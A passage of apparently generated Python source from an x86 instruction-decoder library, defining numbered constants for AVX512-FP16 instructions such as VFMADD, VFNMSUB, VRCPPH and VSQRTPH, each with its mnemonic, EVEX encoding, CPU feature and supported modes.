``EVEX.128.66.MAP6.W0 A7 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUBADD213PH_YMM_K1Z_YMM_YMMM256B16: int = 4447
"""
``VFMSUBADD213PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 A7 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUBADD213PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4448
"""
``VFMSUBADD213PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 A7 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUBADD231PH_XMM_K1Z_XMM_XMMM128B16: int = 4449
"""
``VFMSUBADD231PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 B7 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUBADD231PH_YMM_K1Z_YMM_YMMM256B16: int = 4450
"""
``VFMSUBADD231PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 B7 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUBADD231PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4451
"""
``VFMSUBADD231PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 B7 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADD132PH_XMM_K1Z_XMM_XMMM128B16: int = 4452
"""
``VFMADD132PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 98 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADD132PH_YMM_K1Z_YMM_YMMM256B16: int = 4453
"""
``VFMADD132PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 98 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADD132PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4454
"""
``VFMADD132PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 98 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADD213PH_XMM_K1Z_XMM_XMMM128B16: int = 4455
"""
``VFMADD213PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 A8 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADD213PH_YMM_K1Z_YMM_YMMM256B16: int = 4456
"""
``VFMADD213PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 A8 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADD213PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4457
"""
``VFMADD213PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 A8 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADD231PH_XMM_K1Z_XMM_XMMM128B16: int = 4458
"""
``VFMADD231PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 B8 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADD231PH_YMM_K1Z_YMM_YMMM256B16: int = 4459
"""
``VFMADD231PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 B8 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADD231PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4460
"""
``VFMADD231PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 B8 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMADD132PH_XMM_K1Z_XMM_XMMM128B16: int = 4461
"""
``VFNMADD132PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 9C /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMADD132PH_YMM_K1Z_YMM_YMMM256B16: int = 4462
"""
``VFNMADD132PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 9C /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMADD132PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4463
"""
``VFNMADD132PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 9C /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMADD213PH_XMM_K1Z_XMM_XMMM128B16: int = 4464
"""
``VFNMADD213PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 AC /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMADD213PH_YMM_K1Z_YMM_YMMM256B16: int = 4465
"""
``VFNMADD213PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 AC /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMADD213PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4466
"""
``VFNMADD213PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 AC /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMADD231PH_XMM_K1Z_XMM_XMMM128B16: int = 4467
"""
``VFNMADD231PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 BC /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMADD231PH_YMM_K1Z_YMM_YMMM256B16: int = 4468
"""
``VFNMADD231PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 BC /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMADD231PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4469
"""
``VFNMADD231PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 BC /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADD132SH_XMM_K1Z_XMM_XMMM16_ER: int = 4470
"""
``VFMADD132SH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.66.MAP6.W0 99 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADD213SH_XMM_K1Z_XMM_XMMM16_ER: int = 4471
"""
``VFMADD213SH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.66.MAP6.W0 A9 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMADD231SH_XMM_K1Z_XMM_XMMM16_ER: int = 4472
"""
``VFMADD231SH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.66.MAP6.W0 B9 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMADD132SH_XMM_K1Z_XMM_XMMM16_ER: int = 4473
"""
``VFNMADD132SH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.66.MAP6.W0 9D /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMADD213SH_XMM_K1Z_XMM_XMMM16_ER: int = 4474
"""
``VFNMADD213SH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.66.MAP6.W0 AD /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMADD231SH_XMM_K1Z_XMM_XMMM16_ER: int = 4475
"""
``VFNMADD231SH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.66.MAP6.W0 BD /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUB132PH_XMM_K1Z_XMM_XMMM128B16: int = 4476
"""
``VFMSUB132PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 9A /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUB132PH_YMM_K1Z_YMM_YMMM256B16: int = 4477
"""
``VFMSUB132PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 9A /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUB132PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4478
"""
``VFMSUB132PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 9A /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUB213PH_XMM_K1Z_XMM_XMMM128B16: int = 4479
"""
``VFMSUB213PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 AA /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUB213PH_YMM_K1Z_YMM_YMMM256B16: int = 4480
"""
``VFMSUB213PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 AA /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUB213PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4481
"""
``VFMSUB213PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 AA /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUB231PH_XMM_K1Z_XMM_XMMM128B16: int = 4482
"""
``VFMSUB231PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 BA /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUB231PH_YMM_K1Z_YMM_YMMM256B16: int = 4483
"""
``VFMSUB231PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 BA /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUB231PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4484
"""
``VFMSUB231PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 BA /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMSUB132PH_XMM_K1Z_XMM_XMMM128B16: int = 4485
"""
``VFNMSUB132PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 9E /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMSUB132PH_YMM_K1Z_YMM_YMMM256B16: int = 4486
"""
``VFNMSUB132PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 9E /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMSUB132PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4487
"""
``VFNMSUB132PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 9E /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMSUB213PH_XMM_K1Z_XMM_XMMM128B16: int = 4488
"""
``VFNMSUB213PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 AE /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMSUB213PH_YMM_K1Z_YMM_YMMM256B16: int = 4489
"""
``VFNMSUB213PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 AE /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMSUB213PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4490
"""
``VFNMSUB213PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 AE /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMSUB231PH_XMM_K1Z_XMM_XMMM128B16: int = 4491
"""
``VFNMSUB231PH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 BE /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMSUB231PH_YMM_K1Z_YMM_YMMM256B16: int = 4492
"""
``VFNMSUB231PH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 BE /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMSUB231PH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4493
"""
``VFNMSUB231PH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 BE /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUB132SH_XMM_K1Z_XMM_XMMM16_ER: int = 4494
"""
``VFMSUB132SH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.66.MAP6.W0 9B /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUB213SH_XMM_K1Z_XMM_XMMM16_ER: int = 4495
"""
``VFMSUB213SH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.66.MAP6.W0 AB /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFMSUB231SH_XMM_K1Z_XMM_XMMM16_ER: int = 4496
"""
``VFMSUB231SH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.66.MAP6.W0 BB /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMSUB132SH_XMM_K1Z_XMM_XMMM16_ER: int = 4497
"""
``VFNMSUB132SH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.66.MAP6.W0 9F /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMSUB213SH_XMM_K1Z_XMM_XMMM16_ER: int = 4498
"""
``VFNMSUB213SH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.66.MAP6.W0 AF /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFNMSUB231SH_XMM_K1Z_XMM_XMMM16_ER: int = 4499
"""
``VFNMSUB231SH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.66.MAP6.W0 BF /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFPCLASSPH_KR_K1_XMMM128B16_IMM8: int = 4500
"""
``VFPCLASSPH k1 {k2}, xmm2/m128/m16bcst, imm8``
``EVEX.128.0F3A.W0 66 /r ib``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFPCLASSPH_KR_K1_YMMM256B16_IMM8: int = 4501
"""
``VFPCLASSPH k1 {k2}, ymm2/m256/m16bcst, imm8``
``EVEX.256.0F3A.W0 66 /r ib``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFPCLASSPH_KR_K1_ZMMM512B16_IMM8: int = 4502
"""
``VFPCLASSPH k1 {k2}, zmm2/m512/m16bcst, imm8``
``EVEX.512.0F3A.W0 66 /r ib``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VFPCLASSSH_KR_K1_XMMM16_IMM8: int = 4503
"""
``VFPCLASSSH k1 {k2}, xmm2/m16, imm8``
``EVEX.LIG.0F3A.W0 67 /r ib``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VGETEXPPH_XMM_K1Z_XMMM128B16: int = 4504
"""
``VGETEXPPH xmm1 {k1}{z}, xmm2/m128/m16bcst``
``EVEX.128.66.MAP6.W0 42 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VGETEXPPH_YMM_K1Z_YMMM256B16: int = 4505
"""
``VGETEXPPH ymm1 {k1}{z}, ymm2/m256/m16bcst``
``EVEX.256.66.MAP6.W0 42 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VGETEXPPH_ZMM_K1Z_ZMMM512B16_SAE: int = 4506
"""
``VGETEXPPH zmm1 {k1}{z}, zmm2/m512/m16bcst{sae}``
``EVEX.512.66.MAP6.W0 42 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VGETEXPSH_XMM_K1Z_XMM_XMMM16_SAE: int = 4507
"""
``VGETEXPSH xmm1 {k1}{z}, xmm2, xmm3/m16{sae}``
``EVEX.LIG.66.MAP6.W0 43 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VGETMANTPH_XMM_K1Z_XMMM128B16_IMM8: int = 4508
"""
``VGETMANTPH xmm1 {k1}{z}, xmm2/m128/m16bcst, imm8``
``EVEX.128.0F3A.W0 26 /r ib``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VGETMANTPH_YMM_K1Z_YMMM256B16_IMM8: int = 4509
"""
``VGETMANTPH ymm1 {k1}{z}, ymm2/m256/m16bcst, imm8``
``EVEX.256.0F3A.W0 26 /r ib``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VGETMANTPH_ZMM_K1Z_ZMMM512B16_IMM8_SAE: int = 4510
"""
``VGETMANTPH zmm1 {k1}{z}, zmm2/m512/m16bcst{sae}, imm8``
``EVEX.512.0F3A.W0 26 /r ib``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VGETMANTSH_XMM_K1Z_XMM_XMMM16_IMM8_SAE: int = 4511
"""
``VGETMANTSH xmm1 {k1}{z}, xmm2, xmm3/m16{sae}, imm8``
``EVEX.LIG.0F3A.W0 27 /r ib``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMAXPH_XMM_K1Z_XMM_XMMM128B16: int = 4512
"""
``VMAXPH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.MAP5.W0 5F /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMAXPH_YMM_K1Z_YMM_YMMM256B16: int = 4513
"""
``VMAXPH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.MAP5.W0 5F /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMAXPH_ZMM_K1Z_ZMM_ZMMM512B16_SAE: int = 4514
"""
``VMAXPH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{sae}``
``EVEX.512.MAP5.W0 5F /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMAXSH_XMM_K1Z_XMM_XMMM16_SAE: int = 4515
"""
``VMAXSH xmm1 {k1}{z}, xmm2, xmm3/m16{sae}``
``EVEX.LIG.F3.MAP5.W0 5F /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMINPH_XMM_K1Z_XMM_XMMM128B16: int = 4516
"""
``VMINPH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.MAP5.W0 5D /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMINPH_YMM_K1Z_YMM_YMMM256B16: int = 4517
"""
``VMINPH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.MAP5.W0 5D /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMINPH_ZMM_K1Z_ZMM_ZMMM512B16_SAE: int = 4518
"""
``VMINPH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{sae}``
``EVEX.512.MAP5.W0 5D /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMINSH_XMM_K1Z_XMM_XMMM16_SAE: int = 4519
"""
``VMINSH xmm1 {k1}{z}, xmm2, xmm3/m16{sae}``
``EVEX.LIG.F3.MAP5.W0 5D /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMOVSH_XMM_K1Z_M16: int = 4520
"""
``VMOVSH xmm1 {k1}{z}, m16``
``EVEX.LIG.F3.MAP5.W0 10 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMOVSH_M16_K1_XMM: int = 4521
"""
``VMOVSH m16 {k1}, xmm1``
``EVEX.LIG.F3.MAP5.W0 11 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMOVSH_XMM_K1Z_XMM_XMM: int = 4522
"""
``VMOVSH xmm1 {k1}{z}, xmm2, xmm3``
``EVEX.LIG.F3.MAP5.W0 10 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMOVSH_XMM_K1Z_XMM_XMM_MAP5_11: int = 4523
"""
``VMOVSH xmm1 {k1}{z}, xmm2, xmm3``
``EVEX.LIG.F3.MAP5.W0 11 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMOVW_XMM_R32M16: int = 4524
"""
``VMOVW xmm1, r32/m16``
``EVEX.128.66.MAP5.W0 6E /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMOVW_XMM_R64M16: int = 4525
"""
``VMOVW xmm1, r64/m16``
``EVEX.128.66.MAP5.W1 6E /r``
``AVX512-FP16``
``64-bit``
"""
EVEX_VMOVW_R32M16_XMM: int = 4526
"""
``VMOVW r32/m16, xmm1``
``EVEX.128.66.MAP5.W0 7E /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMOVW_R64M16_XMM: int = 4527
"""
``VMOVW r64/m16, xmm1``
``EVEX.128.66.MAP5.W1 7E /r``
``AVX512-FP16``
``64-bit``
"""
EVEX_VMULPH_XMM_K1Z_XMM_XMMM128B16: int = 4528
"""
``VMULPH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.MAP5.W0 59 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMULPH_YMM_K1Z_YMM_YMMM256B16: int = 4529
"""
``VMULPH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.MAP5.W0 59 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMULPH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4530
"""
``VMULPH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.MAP5.W0 59 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VMULSH_XMM_K1Z_XMM_XMMM16_ER: int = 4531
"""
``VMULSH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.F3.MAP5.W0 59 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VRCPPH_XMM_K1Z_XMMM128B16: int = 4532
"""
``VRCPPH xmm1 {k1}{z}, xmm2/m128/m16bcst``
``EVEX.128.66.MAP6.W0 4C /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VRCPPH_YMM_K1Z_YMMM256B16: int = 4533
"""
``VRCPPH ymm1 {k1}{z}, ymm2/m256/m16bcst``
``EVEX.256.66.MAP6.W0 4C /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VRCPPH_ZMM_K1Z_ZMMM512B16: int = 4534
"""
``VRCPPH zmm1 {k1}{z}, zmm2/m512/m16bcst``
``EVEX.512.66.MAP6.W0 4C /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VRCPSH_XMM_K1Z_XMM_XMMM16: int = 4535
"""
``VRCPSH xmm1 {k1}{z}, xmm2, xmm3/m16``
``EVEX.LIG.66.MAP6.W0 4D /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VREDUCEPH_XMM_K1Z_XMMM128B16_IMM8: int = 4536
"""
``VREDUCEPH xmm1 {k1}{z}, xmm2/m128/m16bcst, imm8``
``EVEX.128.0F3A.W0 56 /r ib``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VREDUCEPH_YMM_K1Z_YMMM256B16_IMM8: int = 4537
"""
``VREDUCEPH ymm1 {k1}{z}, ymm2/m256/m16bcst, imm8``
``EVEX.256.0F3A.W0 56 /r ib``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VREDUCEPH_ZMM_K1Z_ZMMM512B16_IMM8_SAE: int = 4538
"""
``VREDUCEPH zmm1 {k1}{z}, zmm2/m512/m16bcst{sae}, imm8``
``EVEX.512.0F3A.W0 56 /r ib``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VREDUCESH_XMM_K1Z_XMM_XMMM16_IMM8_SAE: int = 4539
"""
``VREDUCESH xmm1 {k1}{z}, xmm2, xmm3/m16{sae}, imm8``
``EVEX.LIG.0F3A.W0 57 /r ib``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VRNDSCALEPH_XMM_K1Z_XMMM128B16_IMM8: int = 4540
"""
``VRNDSCALEPH xmm1 {k1}{z}, xmm2/m128/m16bcst, imm8``
``EVEX.128.0F3A.W0 08 /r ib``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VRNDSCALEPH_YMM_K1Z_YMMM256B16_IMM8: int = 4541
"""
``VRNDSCALEPH ymm1 {k1}{z}, ymm2/m256/m16bcst, imm8``
``EVEX.256.0F3A.W0 08 /r ib``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VRNDSCALEPH_ZMM_K1Z_ZMMM512B16_IMM8_SAE: int = 4542
"""
``VRNDSCALEPH zmm1 {k1}{z}, zmm2/m512/m16bcst{sae}, imm8``
``EVEX.512.0F3A.W0 08 /r ib``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VRNDSCALESH_XMM_K1Z_XMM_XMMM16_IMM8_SAE: int = 4543
"""
``VRNDSCALESH xmm1 {k1}{z}, xmm2, xmm3/m16{sae}, imm8``
``EVEX.LIG.0F3A.W0 0A /r ib``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VRSQRTPH_XMM_K1Z_XMMM128B16: int = 4544
"""
``VRSQRTPH xmm1 {k1}{z}, xmm2/m128/m16bcst``
``EVEX.128.66.MAP6.W0 4E /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VRSQRTPH_YMM_K1Z_YMMM256B16: int = 4545
"""
``VRSQRTPH ymm1 {k1}{z}, ymm2/m256/m16bcst``
``EVEX.256.66.MAP6.W0 4E /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VRSQRTPH_ZMM_K1Z_ZMMM512B16: int = 4546
"""
``VRSQRTPH zmm1 {k1}{z}, zmm2/m512/m16bcst``
``EVEX.512.66.MAP6.W0 4E /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VRSQRTSH_XMM_K1Z_XMM_XMMM16: int = 4547
"""
``VRSQRTSH xmm1 {k1}{z}, xmm2, xmm3/m16``
``EVEX.LIG.66.MAP6.W0 4F /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VSCALEFPH_XMM_K1Z_XMM_XMMM128B16: int = 4548
"""
``VSCALEFPH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.66.MAP6.W0 2C /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VSCALEFPH_YMM_K1Z_YMM_YMMM256B16: int = 4549
"""
``VSCALEFPH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.66.MAP6.W0 2C /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VSCALEFPH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4550
"""
``VSCALEFPH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.66.MAP6.W0 2C /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VSCALEFSH_XMM_K1Z_XMM_XMMM16_ER: int = 4551
"""
``VSCALEFSH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.66.MAP6.W0 2D /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VSQRTPH_XMM_K1Z_XMMM128B16: int = 4552
"""
``VSQRTPH xmm1 {k1}{z}, xmm2/m128/m16bcst``
``EVEX.128.MAP5.W0 51 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VSQRTPH_YMM_K1Z_YMMM256B16: int = 4553
"""
``VSQRTPH ymm1 {k1}{z}, ymm2/m256/m16bcst``
``EVEX.256.MAP5.W0 51 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VSQRTPH_ZMM_K1Z_ZMMM512B16_ER: int = 4554
"""
``VSQRTPH zmm1 {k1}{z}, zmm2/m512/m16bcst{er}``
``EVEX.512.MAP5.W0 51 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VSQRTSH_XMM_K1Z_XMM_XMMM16_ER: int = 4555
"""
``VSQRTSH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
